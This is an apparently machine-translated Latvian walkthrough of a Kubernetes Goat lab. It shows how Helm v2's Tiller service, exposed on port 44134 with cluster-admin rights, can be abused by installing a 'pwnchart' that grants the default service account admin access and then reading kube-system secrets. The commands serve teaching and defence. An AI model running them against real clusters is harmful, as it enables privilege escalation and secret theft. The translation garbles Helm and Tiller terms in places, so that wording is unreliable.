Helm ir Kubernetes pakotņu pārvaldnieks, kaut kas līdzīgs apt-get
priekš Ubuntu. Šajā piezīmē mēs redzēsim iepriekšējo stūres versiju (v2) ar pēc noklusējuma instalētu stūres pakalpojumu, caur kuru mēs piekļūsim klasterim.
Sagatavosim klasteru; lai to izdarītu, palaidiet komandu:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
Demonstrācija
- Ja neko papildus nekonfigurējat, helm v2 palaiž kultivatora pakalpojumu, kuram ir RBAC ar pilnām klastera administratora tiesībām.
- Pēc instalēšanas nosaukumvietā
kube-system
parādāstiller-deploy
, kā arī atver portu 44134, kas saistīts ar 0.0.0.0. To var pārbaudīt, izmantojot Telnet.
$ telnet tiller-deploy.kube-system 44134
- Tagad varat izveidot savienojumu ar dīseles pakalpojumu. Mēs izmantosim stūres bināro sistēmu, lai veiktu darbības, sazinoties ar stūres servisu:
$ helm --host tiller-deploy.kube-system:44134 version
- Mēģināsim iegūt Kubernetes klastera noslēpumus no nosaukumvietas
kube-system
:
$ kubectl get secrets -n kube-system
- Tagad mēs varam izveidot savu diagrammu, kurā izveidosim lomu ar administratora tiesībām un piešķirsim šo lomu noklusējuma pakalpojuma kontam. Izmantojot šī pakalpojuma konta pilnvaru, mēs saņēmām pilnu piekļuvi mūsu klasterim.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Tagad, kad
pwnchart
izvietots, noklusējuma pakalpojuma kontam ir pilna administratīvā piekļuve. Vēlreiz pārbaudīsim, kā iegūt noslēpumus nokube-system
kubectl get secrets -n kube-system
Šī skripta veiksmīga izpilde ir atkarīga no tā, kā tika izvietots skripts; dažreiz administratori to izvieto atsevišķā nosaukumvietā ar dažādām privilēģijām. Helm 3 nav uzņēmīgs pret šādām ievainojamībām, jo... tajā nav stūres.
Tulkotāja piezīme: Tīkla politiku izmantošana, lai filtrētu trafiku klasterī, palīdz aizsargāties pret šāda veida ievainojamībām.
Avots: www.habr.com